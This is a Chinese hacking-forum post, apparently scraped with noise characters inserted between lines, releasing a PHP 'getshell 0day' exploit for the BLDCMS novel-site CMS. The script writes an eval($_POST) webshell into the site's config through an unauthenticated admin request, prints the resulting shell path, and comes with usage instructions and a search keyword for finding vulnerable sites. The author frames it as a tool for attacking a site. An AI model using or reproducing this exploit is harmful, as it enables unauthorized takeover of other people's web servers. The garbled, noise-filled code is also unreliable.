BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

  A5 J3 @+ H9 ?) q1 S0 Q# y
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
$ m  n6 A# m. I. n$ N. [
既然都有人发了 我就把我之前写好的EXP放出来吧
$ p& P" ?- k+ u: D2 {0 Y
view source print?01.php;">
02.<!--?php
* n- D  j% I9 U2 y3 q" r2 l. R03.echo "-------------------------------------------------------------------
04.
7 `- G- Y" t' w05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
- l1 K$ Q' y' d  X/ G1 K+ x08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
  u$ N' O: c. p  w" l; ~12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
- J! p  d6 |0 C5 x% l9 G' V: X15.
16.--------------------------------------------------------------------\r\n";
* U0 r7 k3 b: u% a4 n4 w5 P) v17.$url=$argv[1];
18.$dir=$argv[2];
19.$pass=$argv[3];
. U2 w! S$ v# }; h5 d20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
4 K1 I4 W2 ?: p2 E8 k3 l/ k24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
; |  n  s& ^+ N( X+ w7 j, S9 S26.
27.al;
2 s3 j' K: N3 Q) o$ ^# Q  E5 a. W( r! H28.$length = strlen($fuckdata);
; P, X8 }" E, t7 @' t8 e29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
- z7 }" P$ u2 d32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
' e' h# ~/ u' R0 a: c& h" J2 b33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
( q  v0 I8 |( N$ _! f4 q9 G36.$header .= "Content-Length: ".$length."\r\n";
4 k. O: @+ O3 |# x; ~4 q1 e6 \37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
  S9 |* j. v; V2 k42.{
+ l" W9 y* L' O/ N43.exit ("利用失败:请检查指定目标是否能正常打开");
  v; E( E  S$ A. P! l+ x44.}
45.else{ if (!fputs($fp,$header))
1 O0 g$ F0 d% X46.{exit ("利用失败");}
4 D' t$ h! F$ j& Z# F$ ^/ V$ B' c3 I47.else
" j5 R' E3 V5 \- D" z48.{
49.$receive = '';
50.while (!feof($fp)) {
  r4 e7 k9 t# ~' k: X* F9 Q51.$receive .= @fgets($fp, 1000);
/ h) @$ u4 [) d' ]& J52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
, f2 b* `: \' M& `+ @, Q) `; [  s. {" b56.GPC是否=off)";
57.}}
, f$ Z: i$ y. d' G+ J58.}
59.}
6 C/ m1 E! @! @  {60.getshell($url,$pass);
4 G, z0 ~5 t5 g" b' J# R61.?-->
  f3 C: B5 J) I6 [- |% D

" D: Y% K+ f+ z; d8 l7 f; I8 K
by 数据流